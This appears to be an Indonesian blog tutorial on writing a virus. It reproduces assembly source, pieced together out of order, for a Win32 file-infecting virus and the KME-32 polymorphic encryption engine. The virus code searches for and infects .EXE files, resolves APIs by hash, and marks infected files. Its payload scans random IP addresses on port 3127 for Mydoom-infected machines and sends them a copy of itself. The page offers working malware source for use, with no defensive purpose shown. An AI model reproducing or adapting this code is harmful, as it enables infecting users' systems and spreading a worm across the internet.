jl @@restart_nlayer
test flags, FLAG_FAILIFNOMEMORY
jz @@restart_nlayer
@@baderror:
cmp eax, KME_ERROR_SUCCESS
jne @@error_eax
cmp edx, ebx
je @@success_exit
; COPY: output --> temp
mov esi, o_offs
mov edi, tempbufptr
mov ecx, po_size
mov ecx, [ecx]
mov t_size, ecx
rep movsb
mov ecx, po_entry
jecxz @@cxz
mov ecx, [ecx]
@@cxz: mov t_entry, ecx
jmp @@layer_cycle
@@do_success_exit:
; COPY: temp --> output
mov esi, tempbufptr
mov edi, o_offs
mov eax, po_size
mov ecx, t_size
mov [eax], ecx
rep movsb
mov ecx, po_entry
jecxz @@cxz2
mov eax, t_entry
mov [ecx], eax
@@cxz2:
jmp @@success_exit
@@restart_nlayer: cmp restartcount, 0
jne @@error_assert
inc restartcount
lea ebx, [edx-1] ; no we know how many can build
jmp @@restart
kme_main endp
; --------------------- flags -----------------------------------------------
KME_N_ARGS equ 21
FLAG_DEBUG equ 00000001h ; insert INT3 into poly decr
FLAG_NOLOGIC equ 00000002h ; disable "logic"
FLAG_NOJMPS equ 00000004h ; disable JMPs.
; NOJMPS means generate continuous block of code
FLAG_EIP0 equ 00000008h ; initial entry = 0, not rnd
FLAG_NOSHORT equ 00000010h ; disable short-opcodes for EAX
; v3.00+
FLAG_NOSHORT_C equ 00000020h ; disable short-consts usage
FLAG_NOSWAP equ 00000040h ; disable [cmd r1,r2] perverting
; v4.00+
FLAG_ONLY386 equ 00000080h ; only .386 opcodes
FLAG_X_CALLESP equ 00000100h ; call esp; add esp,
FLAG_X_RETBYJMP equ 00000200h ; JMP OrigEntry; otherwise RETN
FLAG_X_RET0C equ 00000400h ; MOV EAX,1/RETN 0Ch instead of RETN
; v4.50+
FLAG_RANDOMSTRATEGY equ 00000800h ; auto-select CMD_xxx & REG_xxx
; v5.00+
FLAG_NOREPEATPUSH equ 00001000h ; disable repeteable PUSH
; v5.50+
FLAG_FAILIFNOMEMORY equ 00002000h ; fail if cant create nlayer layers
FLAG_X_NORET equ 00004000h ; doesnt build JMP ESP-alike code
; --------------------- registers -------------------------------------------
KME_ERROR_SUCCESS equ 1 ; decryptor generated OK
KME_ERROR_ASSERT equ -1 ; internal error (kind of assert)
KME_ERROR_NOMEMORY equ -2 ; no free space in output buffer
KME_ERROR_BADARG equ -3 ; bad argument passed into engine
; --------------------- registers -------------------------------------------
REG_EAX equ 00000001h ; bitfields for register mask
REG_ECX equ 00000002h ;
REG_EDX equ 00000004h ; at least 1 register should
REG_EBX equ 00000008h ; be specified.
REG_ESP equ 00000010h ; use REG_DEFAULT otherwise
REG_EBP equ 00000020h ;
REG_ESI equ 00000040h ;
REG_EDI equ 00000080h ;
REG_ALL equ (not REG_ESP) and 255
REG_DEFAULT equ REG_EAX
REG_EAX_N equ 0
REG_ECX_N equ 1
REG_EDX_N equ 2
REG_EBX_N equ 3
REG_ESP_N equ 4
REG_EBP_N equ 5
REG_ESI_N equ 6
REG_EDI_N equ 7
; --------------------- commands --------------------------------------------
CMD_ALL equ -1 ; use all available commands
CMD_MOV equ 00000001h ; bitfields for command mask
CMD_XCHG equ 00000002h ;
CMD_ADD equ 00000004h ; at least 1 command should
CMD_SUB equ 00000008h ; be specified. default=XOR
CMD_XOR equ 00000010h ;
CMD_INC equ 00000020h ; all CMD_xxx commands can be
CMD_DEC equ 00000040h ; disabled by FLAG_NOLOGIC
CMD_OR equ 00000080h ;
CMD_AND equ 00000100h ;
CMD_SHL equ 00000200h ;
CMD_SHR equ 00000400h ;
CMD_ROL equ 00000800h ;
CMD_ROR equ 00001000h ;
CMD_SAR equ 00002000h ;
CMD_NOT equ 00004000h ;
CMD_NEG equ 00008000h ;
CMD_IMUL_EX equ 00010000h ;
CMD_SHLD equ 00020000h ;
CMD_SHRD equ 00040000h ;
CMD_BTC equ 00080000h ;
CMD_BTR equ 00100000h ;
CMD_BTS equ 00200000h ;
CMD_BSWAP equ 00400000h ;
CMD_XADD equ 00800000h ;
CMD_MOVSXZX equ 01000000h ; mov?x
CMD_BSR equ 02000000h ;
CMD_BSF equ 04000000h ;
CMD_MUL equ 08000000h
CMD_IMUL equ 10000000h
CMD_DIV equ 20000000h
CMD_IDIV equ 40000000h
CMD_PUSHPOP equ 80000000h ; used when initializing regs
;;
CMD_OLDSTUFF equ 000FFFFFFh ; 1.00
CMD_NEWSTUFF equ 0FF000000h ; 2.00+
CMD2_ALL equ -1
CMD2_PUSHPOPR equ 00000001h ; push r; polycmd; pop r
CMD2_PUSHPOPC equ 00000002h ; push c; polycmd; pop r
CMD2_IFOLLOW equ 00000004h ; cmp r, c; jxx
CMD2_INOFOLLOW equ 00000008h ; cmp r, c; jxx fake
CMD2_RFOLLOW equ 00000010h ; cmp r, r; jxx
CMD2_RNOFOLLOW equ 00000020h ; cmp r, r; jxx fake
CMD2_SUBROUTINE equ 00000040h ; 8-()
CMD2_CYCLE equ 00000080h ; |->
CMD2_FPU equ 00000100h ; X-) fsin,fcos,fsqrt,fadd,fsub,fmul,fdiv,fsubr,fdivr
; ===========================================================================
infect_files:
pushad
call delta
;search for *.EXE files in the current directory
sub esp,SIZEOF_WIN32_FIND_DATA
mov eax,esp
X_PUSH ecx,*.EXE~
mov ecx,esp
push eax
push ecx
call [ebp+_FindFirstFileA]
X_POP
mov ebx,eax
inc eax
;no file found? exit...
@@find_next:
jz @@end_search
;found a file? map and infect it
call map_infect
;search next file
push esp
push ebx
call [ebp+_FindNextFileA]
test eax,eax
jmp @@find_next
;close the search handle
@@end_search:
push ebx
call [ebp+_FindClose]
add esp,SIZEOF_WIN32_FIND_DATA
popad
ret
;this routine retrieve from the kernel32.dll image (in EAX) the APIs the virus need.
get_k32_apis:
call @@apiimport
API SetFileTime
API SetFileAttributesA
API CreateFileA
API CreateFileMappingA
API MapViewOfFile
API UnmapViewOfFile
API CloseHandle
API SetFilePointer
API SetEndOfFile
API LoadLibraryA
API CreateThread
API GetModuleFileNameA
API GetFileSize
API ReadFile
API GlobalAlloc
API GetTickCount
API Sleep
API FindFirstFileA
API FindNextFileA
API FindClose
dd -1
@@apiimport:
;ESI will hold the APIs we need
pop esi
get_apis:
pushad
;eax = dll imagebase
mov ebp,eax
add eax,[ebp.MZ_lfanew]
;EDI will hold the pointer to dll export directory
mov edi,[eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
add edi,ebp
;check if all APIs where retrieved. if so, exit
@@scan_name:
mov edx,esi
lodsd
inc eax
jz @@done_import
;now, in a cycle, compare the name of the APIs in the kernel32.dll export
;table with the API we need.
mov ebx,[edi.ED_AddressOfNames]
add ebx,ebp
sub ecx,ecx
@@getapinameptr:
COMPARE
jz @@found
;check next API in kernel32.dll export table
inc ecx
add ebx,4
jmp @@getapinameptr
;we found the API. so, retrieve its ordinal number, and use it to get the API
;address
@@found:
mov eax,[edi.ED_AddressOfNameOrdinals]
add eax,ebp
shl ecx, 1
movzx ecx,wo [eax.ecx]
mov eax,[edi.ED_AddressOfFunctions]
add eax,ebp
mov eax,[eax.(ecx*4)]
add eax,ebp
mov [edx],eax
GONEXT
jmp @@scan_name
@@done_import:
popad
ret
virus_size=$-virus_main
.code
;thats the stub code, that simulate a infected file, for the virus first
;generation sample.
stubcode:
jmp virus_main
__ret:
push 10*1000
extrn Sleep:PROC
call Sleep
push 0
extrn ExitProcess:PROC
call ExitProcess
end stubcode
Baca Selengkapnya...
Belajar Membuat Virus ASM bagian II
;TASM32 /M /ML VIRUS.ASM
;TLINK32 VIRUS.OBJ,,,IMPORT32.LIB
.586
.model flat
locals
ofs equ offset
by equ byte ptr
wo equ word ptr
dwo equ dword ptr
include pe.inc
include mz.inc
include win32api.inc
include useful.inc
.data
virus_main:
;setup stack to return to host later
push ofs __ret
original_entrypoint equ $-4
;retrieve kernel32.dll base
mov eax,[esp.Arg1]
@@search:
xor ax,ax
cmp [eax.MZ_magic],IMAGE_DOS_SIGNATURE
jnz @@nopeheader
mov ecx,[eax.MZ_lfanew]
cmp [ecx+eax.NT_Signature],IMAGE_NT_SIGNATURE
jz @@found
@@nopeheader:
dec eax
jmp @@search
@@found:
;get all APIs the virus need
call get_k32_apis
;infect files
call infect_files
;scare user
call payload
;return to host
ret
;secret routine
delta:
call @@delta
@@delta:
pop ebp
sub ebp, ofs @@delta
ret
API macro s
_&s dd 0
CHASH &s
endm
CHASH macro s
hash = 0
irpc c, (s)
hash = ((hash shl 7) and 0FFFFFFFFh) or (hash shr (32-7))
hash = hash xor '&c'
endm
dd hash
endm
COMPARE macro
LOCAL @@calc_hash
pushad
lodsd
mov esi,[ebx]
xor edx, edx
@@calc_hash:
rol edx, 7
xor dl,[esi.ebp]
inc esi
cmp by [esi.ebp],0
jne @@calc_hash
sub eax,edx
popad
endm
GONEXT macro
lodsd
endm
X_PUSH macro r, x
xor r, r
_reg = 0
_xsize = 0
l = 0
irpc c,
l = l + 1
endm
j = 0
s = 0
l0 = l
if (l0 and 3) ne 0
j = j shl 8 + "x"
s = s + 8
l0 = l0 + 1
endif
if (l0 and 3) ne 0
j = j shl 8 + "y"
s = s + 8
l0 = l0 + 1
endif
if (l0 and 3) ne 0
j = j shl 8 + "z"
s = s + 8
l0 = l0 + 1
endif
q = 0
i = l - 1
irpc c1,
t = 0
irpc c,
k = "&c"
if k eq "~" ;zero
k = 0
endif
if k eq "|" ;space
k = 32
endif
if k eq "ö" ;cr
k = 13
endif
if k eq "õ" ;lf
k = 10
endif
if t eq i
j = j shl 8
if k ne 0
j = j + k
endif
s = s + 8
if s eq 32
_xsize = _xsize + 4
if q eq 0
sub r, _reg - j
endif
if (q eq 1) or (q eq 3)
xor r, _reg xor j
endif
if q eq 2
add r, j - _reg
endif
push r
_reg = j
q = q + 1
if q eq 4
q = 0
endif
s = 0
j = 0
endif
exitm
endif
t = t + 1
endm l irpc
i = i - 1
endm
if s ne 0
error
endif
endm
X_POP macro
lea esp, [esp + _xsize]
endm
WORKSIZE EQU 256*1024
;map the file in memory, and check if is a infectable PE file
map_infect:
pushad
call delta
mov edi,[esp.cPushad.Pshd.WFD_nFileSizeLow]
lea esi,[esp.cPushad.Pshd.WFD_szFileName]
;first of all, remove file attribute
push FILE_ATTRIBUTE_NORMAL
push esi
call [ebp+_SetFileAttributesA]
test eax,eax
jz @@error
;check if file is already infected (file size / 16 = 13)
mov eax,edi
and eax,15
xor eax,13
jz @@error_fixatt
;open file
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ
push GENERIC_WRITE+GENERIC_READ
push esi
call [ebp+_CreateFileA]
mov ebx,eax
inc eax
jz @@error_fixatt
add edi,WORKSIZE
;create map
push 0
push edi
push 0
push PAGE_READWRITE
push 0
push ebx
call [ebp+_CreateFileMappingA]
test eax,eax
jz @@close_file
mov edi,eax
;map file
push 0
push 0
push 0
push FILE_MAP_ALL_ACCESS
push edi
call [ebp+_MapViewOfFile]
test eax, eax
je @@close_map
push eax
;check if the file is in PE file format
cmp [eax.MZ_magic],IMAGE_DOS_SIGNATURE
jnz @@close_view
mov ecx,[eax.MZ_lfanew]
cmp ecx,[esp.cPushad.Pshd.WFD_nFileSizeLow+4]
jae @@close_view
cmp [ecx+eax.NT_Signature],IMAGE_NT_SIGNATURE
jnz @@close_view
;and check if it is infectable
cmp [ecx+eax.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
jnz @@close_view
cmp [ecx+eax.NT_OptionalHeader.OH_Magic],IMAGE_NT_OPTIONAL_HDR_MAGIC
jnz @@close_view
movzx ecx,[ecx+eax.NT_FileHeader.FH_Characteristics]
test ecx,IMAGE_FILE_EXECUTABLE_IMAGE+IMAGE_FILE_32BIT_MACHINE
jz @@close_view
test ecx,IMAGE_FILE_SYSTEM+IMAGE_FILE_DLL
jnz @@close_view
;infect file!
mov ecx,[esp.cPushad.Pshd.WFD_nFileSizeLow.Pshd]
call infect_image
;mark file as infected
add eax,15
and eax,not 15
add eax,13
mov [esp.cPushad.Pshd.WFD_nFileSizeLow.Pshd],eax
@@close_view:
call [ebp+_UnmapViewOfFile]
@@close_map:
push edi
call [ebp+_CloseHandle]
;set new file size
push NULL
push NULL
push dwo [esp.cPushad.Pshd.WFD_nFileSizeLow.(Pshd*2)]
push ebx
call [ebp+_SetFilePointer]
push ebx
call [ebp+_SetEndOfFile]
;restore time/date stamp
@@close_file:
lea eax,[esp.cPushad.Pshd.WFD_ftLastWriteTime.FT_dwLowDateTime]
push eax
add eax,8
push eax
add eax,8
push eax
push ebx
call [ebp+_SetFileTime]
push ebx
call [ebp+_CloseHandle]
;restore file attributes
@@error_fixatt:
push [esp.cPushad.Pshd.WFD_dwFileAttributes]
push esi
call [ebp+_SetFileAttributesA]
@@error:
popad
ret
;infect file by increasing the last file section
infect_image:
pushad
mov ebp,eax
;calculate last section header position (the one we will increase)
mov esi,[ebp.MZ_lfanew]
add esi,ebp
movzx eax,wo [esi.NT_FileHeader.FH_NumberOfSections]
imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER
lea edi,[esi.eax+(size IMAGE_NT_HEADERS-IMAGE_SIZEOF_SECTION_HEADER)]
mov ebx,[edi.SH_SizeOfRawData]
mov edx,ebx
add ebx,[edi.SH_VirtualAddress]
add edx,[edi.SH_PointerToRawData]
;set new entrypoint
xchg ebx,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
add ebx,[esi.NT_OptionalHeader.OH_ImageBase]
;modify section values to virus needs
mov dwo [edi.SH_Characteristics],IMAGE_SCN_CNT_INITIALIZED_DATA+IMAGE_SCN_MEM_READ+IMAGE_SCN_MEM_WRITE
call get_virus_size
add eax,[edi.SH_SizeOfRawData]
mov ecx,[esi.NT_OptionalHeader.OH_FileAlignment]
dec ecx
add eax,ecx
not ecx
and eax,ecx
mov [edi.SH_SizeOfRawData],eax
add eax,[edi.SH_PointerToRawData]
mov [esp.Pushad_eax],eax
call get_virus_size
add eax,[edi.SH_VirtualSize]
mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment]
dec ecx
add eax,ecx
not ecx
and eax,ecx
mov [edi.SH_VirtualSize],eax
add eax,[edi.SH_VirtualAddress]
mov [esi.NT_OptionalHeader.OH_SizeOfImage],eax
push esi
mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
call @@delta
@@delta:
pop esi
sub esi,ofs @@delta-ofs virus_main
mov dwo [esi+(ofs original_entrypoint-ofs virus_main)],ebx
;call encryption routine
mov ecx,virus_size
lea edi,[edx+ebp]
call encrypt
;fix the entrypoint, in case that the encryption changed it
pop esi
add [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],eax
popad
ret
;scan for machines infected by mydoom worm, and upload/run a copy of virus
payload:
pushad
;get dll
X_PUSH eax,WS2_32.DLL~
push esp
call delta
call [ebp+_LoadLibraryA]
X_POP
;get the api
call @@apiimport
API WSAStartup
API socket
API connect
API send
dd -1
@@apiimport:
pop esi
call get_apis
;init internet
sub esp,200h
push esp
push 1
call [ebp+_WSAStartup]
;get the name of a infected file(current one)
mov esi,esp
push 200h
push esi
push 0
call [ebp+_GetModuleFileNameA]
;open infected file
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ
push GENERIC_READ
push esi
call [ebp+_CreateFileA]
mov ebx,eax
inc eax
jnz @@open_ok
sub esp,4*4
jmp @@exit
@@open_ok:
push 0
push ebx
call [ebp+_GetFileSize]
xchg eax,esi
;alloc memory for infected file
push 0
mov ecx,esp
push 0
push ecx
push esi
add esi,5
push esi
push 40h
call [ebp+_GlobalAlloc]
xchg eax,edi
;build mydoom protocol header
mov eax,09e3c1385h
stosd
mov al,0a2h
stosb
;read infected file
push edi
push ebx
call [ebp+_ReadFile]
push ebx
call [ebp+_CloseHandle]
;setup paramters for thread
sub edi,5
push edi
push esi
mov ebx,esp
;create a new thread
sub eax,eax
push eax
push esp
push eax
push ebx
call @@scanner
jmp inet_thread
@@scanner:
push eax
push eax
call [ebp+_CreateThread]
;give the new thread time to get params
push 1000
call [ebp+_Sleep]
;free mem(stack) and exit
@@exit:
add esp,200h+4*4
popad
ret
;scan internet in search for machines infected by mydoom
inet_thread:
mov esi,[esp.Arg1]
mov edi,[esi]
lodsd
mov esi,[esi]
;create socket
push 0
push 1
push 2
call delta
call [ebp+_socket]
xchg ebx,eax
@@next_ip:
;generate a random IP
call [ebp+_GetTickCount]
push 0
push 0
push eax
push 370C0002h ;port 3127
mov eax,esp
;found a mydoom infected machine?
push 16
push eax
push ebx
call [ebp+_connect]
add esp,4*4
test eax,eax
jnz @@continue
;yeah! infect it!
push 0
push edi
push esi
push ebx
call [ebp+_send]
@@continue:
push 1000
call [ebp+_Sleep]
jmp @@next_ip
MAXSIZE EQU 96*1024
;return virus size
get_virus_size:
mov eax, MAXSIZE
ret
;setup parameters to calling KME
encrypt:
sub eax,eax
pushad
push eax ;flags
push CMD_ALL
push CMD2_ALL
push REG_ALL
push 50 ;jmp prob
lea ecx,[esp.Pushad_eax+4*5]
push ecx
push eax ;ptr2size
push -1 ;rndfill
push MAXSIZE
push edi
push ofs kme_stub-ofs virus_main ;i_entry
push virus_size
push esi
push eax
push eax
push eax ;virus rva
push eax
push eax
call delta
call [ebp+_GetTickCount]
push eax ;rndseed
push 1
push 0
call kme_main
add esp,4*KME_N_ARGS
popad
ret
;this stub is the entry, in virus, for the KME crypted hosts. it setup the
;stack, thats need to find kernel32.dll imagebase
kme_stub:
push dwo [esp+((virus_size+3)/4)*4]
jmp virus_main
;KME-32 v5.52 -- Kewl Mutation Engine -- SOURCE
C_EIP_MAX_ITER equ 10000 ; these parameters used to
C_EIP_TOP equ 64 ; find new JMP location
C_EIP_BOTTOM equ 64
C_EIP_PREV equ 20
C_EIP_NEXT equ 40
C_MAX_SUB equ 32 ; max # of subroutines
testcmd macro fl, lbl
test cmdavail, fl
jz lbl
endm
testcmd2 macro fl, lbl
test cmdavail2, fl
jz lbl
endm
flagsz macro fl, lbl
test flags, fl
jz lbl
endm
flagsnz macro fl, lbl
test flags, fl
jnz lbl
endm
; ---------------------------------------------------------------------------
kme_main proc c
; parameters -- pushed in reversed order
arg tempbufptr:DWORD; NULL or ptr, size == o_max
arg nlayer:DWORD ; # of layers to build
arg randseed:DWORD ; push GetTickCount() here
arg regsave:DWORD ; push/pop regs at prolog/epilog
arg original_rva:DWORD ; original entry RVA
arg vir_rva:DWORD ; virus in-file RVA
arg exitregptr:DWORD ; 0 or pointer to 8 dwords
arg initregptr:DWORD ; 0 or pointer to 8 dwords
arg i_offs:DWORD ; virus offset
arg i_size:DWORD ; virus size
arg i_entry:DWORD ; virus entry (relative)
arg o_offs:DWORD ; output offset
arg o_max:DWORD ; output max buf size
arg o_fillchar:DWORD; character to fill out buf
arg po_size:DWORD ; 0 or pointer to out buf size
arg po_entry:DWORD ; 0 or pointer to out entry (rel.)
arg jmp_prob:DWORD ; JMPs if rnd(jmp_prob)==0
arg regavail:DWORD ; register set (REG_XXX)
arg cmdavail2:DWORD ; adv. command set (CMD2_XXX)
arg cmdavail:DWORD ; command set (CMD_XXX)
arg flags:DWORD ; flags (FLAG_XXX)
; local variables
local save_esp:DWORD
local save_ebp:DWORD
;; "state" (size is DWORD-aligned)
;; state should be preserved when genereating subs
local state_end:DWORD
local regused:DWORD ; set of used registers
local reginit:DWORD ; set of initialized registers
local em_reg:DWORD:8 ; register values (emulation)
local regbuf:BYTE:8 ; indexes of regs to be pushed
local state_begin:DWORD
;;
local in_subroutine:BYTE ; inside-of-subroutine
local tempo:DWORD ; use in ifollow/rfollow only
local p_count:DWORD ; # of generated subs
local p_addr:DWORD:C_MAX_SUB
local p_stack:BYTE:C_MAX_SUB
local p_conv:BYTE:C_MAX_SUB
local jxxcond:BYTE:16 ; flags, in perverted form
local fpuinit:BYTE
local fpustack:BYTE
local n_pushed:DWORD ; size of pushed stuff
local randseed2:DWORD ; for 2nd randomer
local po_size_ml:DWORD
; local debug_counter:DWORD
local restartcount:DWORD
local t_entry:DWORD
local t_size:DWORD
pusha
cld
mov save_esp, esp ; to jmp to @@error from subs
mov save_ebp, ebp
cmp nlayer, 1
jne @@multilayer
flagsz FLAG_RANDOMSTRATEGY, @@skiprnds
call rnd_dword
mov regavail, eax
call rnd_dword
mov cmdavail, eax
call rnd_dword
mov cmdavail2, eax
@@skiprnds:
; check jmp_prob
cmp jmp_prob, 0
jne @@jp
mov eax, 20-10+1 ; 10..20
call rnd_eax
add eax, 10
mov jmp_prob, eax
@@jp:
; check o_fillchar
cmp o_fillchar, -1
jne @@ofc
call rnd_byte
mov o_fillchar, eax
@@ofc:
; fix regavail -- check if no registers given
and regavail, REG_ALL ; clear ESP if set
jnz @@regok
or regavail, REG_DEFAULT
@@regok:
and regsave, REG_ALL
flagsz FLAG_ONLY386, @@skip1
and cmdavail, not (CMD_BSWAP+CMD_XADD)
@@skip1:
mov edi, o_offs ; fill output buffer
mov ecx, o_max
mov eax, o_fillchar
rep stosb
mov in_subroutine, cl
mov p_count, ecx
mov fpuinit, cl
mov fpustack, cl
mov n_pushed, ecx
; mov debug_counter, ecx
; initialize bitsets: registers initialized/used
mov reginit, ecx
mov regused, ecx
; init 2nd randomer
mov esi, i_offs
mov ecx, i_size
xor edx, edx
@@xorcycle: lodsb
xor dl, al
add dl, al
rol edx, 1
loop @@xorcycle
mov randseed2, edx
; while generation, EDI contains current outpointer
mov edi, o_offs
; if need jmps & (not FLAG_EIP0) select random EDI
flagsnz FLAG_EIP0+FLAG_NOJMPS, @@skipnew
cmp po_entry, 0
je @@skipnew
call @@find_new_eip
@@skipnew:
; calculate decryptor entry point
mov ecx, po_entry
jecxz @@skip_retentry
mov eax, edi
sub eax, o_offs
mov [ecx], eax
@@skip_retentry:
add i_size, 3 ; i_size: align 4
and i_size, not 3
call @@int3 ; add INT3 if FLAG_DEBUG
; set initial register values
cmp initregptr, 0
je @@ir_done
xor ebx, ebx
@@ir_cycle: bt regavail, ebx
jnc @@ir_cont
mov edx, initregptr
mov edx, [edx+ebx*4]
cmp edx, -1
je @@ir_cont
mov em_reg[ebx*4], edx
bts reginit, ebx
@@ir_cont: inc ebx
cmp bl, 8
jb @@ir_cycle
@@ir_done:
; push regsave[]
push regavail
mov ebx, regsave
not ebx
and regavail, ebx
not ebx
or regused, ebx
@@1_push_loop: bsf eax, ebx
jz @@1_push_done
btr ebx, eax
bt dword ptr [esp], eax
jnc @@1x
bts regavail, eax
@@1x: btr regused, eax
call @@eip
add al, 50h
stosb
call @@garbage_10
jmp @@1_push_loop
@@1_push_done: pop regavail
;;
; ECX contains number of elements in regbuf
xor ecx, ecx
call @@garbage_10 ; add "logic" command
;;
@@main_cycle: ; main encryption cycle
; push ecx
; inc debug_counter
; and debug_counter, 63
; jnz @@nodbg
; xor ecx, ecx
;@@dbgccl: bt reginit, ecx
; jnc @@nodbgchk
; mov ax, 0F881h ; cmp r32,xxxxxxxx
; or ah, cl
; stosw
; mov eax, em_reg[ecx*4]
; stosd
; mov ax, 0FE75h ; jne $
; stosw
; call @@eip
;@@nodbgchk: inc ecx
; and ecx, 7
; jnz @@dbgccl
;@@nodbg: pop ecx
call @@poly_cmd ; add "logic" command
; get next dword (backward)
sub i_size, 4
mov edx, i_size
add edx, i_offs ; get dword into EDX
mov edx, [edx]
flagsnz FLAG_NOREPEATPUSH, @@skip666
xor ebx, ebx
@@search_value: cmp em_reg[ebx*4], edx ; a register already have the value we
jnz @@no_equal ;need?
bt reginit, ebx ;...and is initialized?
jc @@put_in_pushqueue ;yeah! so, put in push queue
@@no_equal: inc ebx
cmp bl, 8
jnz @@search_value
@@skip666:
call @@get_init_reg ; select/initialize rnd reg
jc @@error_assert
xchg ebx, eax
; push registers until register in EBX become free
call @@push_uptoebx
call @@gen_value ; make em_reg[EBX] equal to EDX
@@put_in_pushqueue:
bts regused, ebx ; mark reg in EBX as used
mov regbuf[ecx], bl ; store EBX as ready to push
inc ecx
flagsnz FLAG_NOREPEATPUSH, @@no_flush
cmp ecx, 8
ja @@error_assert
jb @@no_flush
call @@push_1 ; prevent queue from overflow
@@no_flush:
cmp i_size, 0 ; until we still have dwords
jg @@main_cycle ; in inputstream
;;
call @@push_all ; push all unpushed registers
call @@epilog ; "epilog" code -- JMP/CALL ESP
; calculate size of generated decryptor
sub edi, o_offs
flagsnz FLAG_NOJMPS, @@nj
mov edi, o_max
@@nj:
mov ecx, po_size
jecxz @@skip_osize
mov [ecx], edi
@@skip_osize:
@@success_exit:
mov eax, 1 ; EAX=1 - all ok
@@eax_exit: mov [esp+7*4], eax
dec eax ; success?
jz @@skipccfill1
; fill output buffer on error
mov edi, o_offs
mov ecx, o_max
mov eax, o_fillchar
cld
rep stosb
@@skipccfill1:
; fill tempbuf on exit
mov edi, tempbufptr
or edi, edi
jz @@skipccfill2
mov ecx, o_max
mov eax, o_fillchar
cld
rep stosb
@@skipccfill2:
popa ; retore regs & exit
ret
@@error_assert: mov eax, KME_ERROR_ASSERT
jmp @@error_eax
@@error_nomemory: mov eax, KME_ERROR_NOMEMORY
jmp @@error_eax
@@error_badarg: mov eax, KME_ERROR_BADARG
; jmp @@error_eax
@@error_eax: mov esp, save_esp ; rest. ESP (if call from sub)
mov ebp, save_ebp
jmp @@eax_exit
; ===================== subroutines =========================================
; add INT3 command (if FLAG_DEBUG)
@@int3: flagsz FLAG_DEBUG, @@skip_debug
;@@int3_do:
push eax
mov al, 0CCh
stosb
pop eax
@@skip_debug: retn
; ---------------------------------------------------------------------------
; push 1 register
; (indexes stored in regbuf, count in ECX)
@@push_1: jecxz @@nothing2push
add n_pushed, 4
dec ecx ; decr. num of regs in regbuf
movzx eax, regbuf ; read 1 byte
pusha ; delete 1st entry in regbuf
lea esi, regbuf+1
lea edi, regbuf
movsd ; just 8 bytes
movsd
popa
flagsnz FLAG_NOREPEATPUSH, @@free_it
jecxz @@free_it
pushad
lea edi, regbuf ;scan push queue for the register we just pushed...
repne scasb ;it appear once again? so dont free
popad
je @@dont_free_yet
@@free_it:
btr regused, eax ; mark register as free
@@dont_free_yet:
call @@eip ; add JMP
push eax
add al, 50h ; PUSH reg
stosb
pop eax
push regused
bts regused, eax
call @@poly_cmd ; "logic" command
pop regused
@@nothing2push:
retn
; push all registers
; (indexes stored in regbuf, count in ECX)
@@push_all: jecxz @@push_all_done
call @@push_1
jmp @@push_all
@@push_all_done: retn
; push registers up to pointed by EBX
; (indexes stored in regbuf, count in ECX)
@@push_uptoebx: bt regused, ebx
jnc @@ebx_free
call @@push_1
jmp @@push_uptoebx
@@ebx_free: retn
; ===========================================================================
; "epilog" code --
; -- load regs and CALL ESP in perverted form
@@epilog: call @@garbage_10 ; "logic"
cmp regused, 0
jne @@error_assert
flagsz FLAG_X_NORET, @@continue_epilog
call @@epilog_regs
jmp @@ret_from_epilog
@@continue_epilog:
call @@get_free_reg ; get free rnd reg
jc @@error_assert
xchg ecx, eax
btr regavail, ecx ; to avoid usage in logic;
btr reginit, ecx ; value unknown (ESP)
call @@eip ; JMP
mov ax, 0E089h ; mov reg1, esp
add ah, cl
stosw
call @@garbage_10
call @@get_free_reg ; get free rnd
jnc @@morethan1reg
; if we have only 1 register
@@1reg:
cmp i_entry, 0
je @@skipadd1
call @@eip ; JMP
mov ax, 0C081h ; add reg1, i_entry
add ah, cl
stosw
mov eax, i_entry
stosd
@@skipadd1:
; cant emul - ESP unknown
jmp @@1ornot
; if we have more than 1 register
@@morethan1reg: xchg ebx, eax
bts regused, ebx ; mark as used
mov edx, i_entry ; reg2 <-- i_entry
call @@gen_value
call @@garbage_10
call rnd_zf
jz @@skip_xchg
; lets do vise versa: add reg2, reg1
bts regavail, ecx ; free reg1
btr regavail, ebx
btr reginit, ebx ; value becomes unknown
xchg ecx, ebx ; invert register usage
@@skip_xchg:
btr regused, ebx
call @@eip ; JMP
mov ax, 0C001h ; add reg1, reg2
or ah, cl
shl bl, 3
or ah, bl
stosw
; cant emul - ESP unknown
@@1ornot:
call @@garbage_10
;; does reg1 value should be passed into virus?
mov eax, exitregptr
or eax, eax
jz @@skipchk
cmp dword ptr [eax+ecx*4], -1
je @@skipchk
flagsnz FLAG_X_CALLESP, @@push_ret
@@skipchk: ;;
flagsnz FLAG_X_CALLESP, @@calljmp
call rnd_zf
jz @@calljmp
@@push_ret: lea eax, [ecx+50h] ;push reg1
stosb
bts regavail, ecx
btr regused, ecx ; free reg1
call @@garbage_10
call @@epilog_regs
call @@eip
flagsnz FLAG_X_CALLESP, @@callddesp
mov al, 0c3h ; ret
stosb
jmp @@lwo
@@callddesp: mov ax, 14FFh ; call dword ptr [esp]
stosw
mov al, 24h
stosb
add n_pushed, 4
jmp @@lwo
@@calljmp: call @@epilog_regs
call @@eip
mov ax, 0E0FFh ; JMP
flagsz FLAG_X_CALLESP, @@itsjmp
mov ah, 0D0h ; CALL
@@itsjmp:
add ah, cl
stosw
bts regavail, ecx
btr regused, ecx ; free reg1
@@lwo:
mov reginit, 0 ; all values become unknown
mov regused, 0 ; and free
call @@garbage_10
flagsz FLAG_X_CALLESP, @@ret_from_epilog ; was JMP ?
call @@eip
mov ax, 0C481h ; add esp, xxxx
stosw
mov eax, n_pushed
stosd
call @@garbage_10
;;
mov ebx, regsave
@@1_pop_loop: bsr eax, ebx
jz @@1_pop_done
btr ebx, eax
call @@eip
btr regavail, eax
btr reginit, eax
add al, 58h ; pop
stosb
call @@poly_cmd
jmp @@1_pop_loop
@@1_pop_done: ;;
@@skip_popregs:
call @@eip
flagsnz FLAG_X_RETBYJMP, @@rbj
flagsnz FLAG_X_RET0C, @@r0C
call @@eip
mov al, 0C3h ; retn
stosb
jmp @@ret_from_epilog
@@rbj:
mov al, 0E9h
stosb
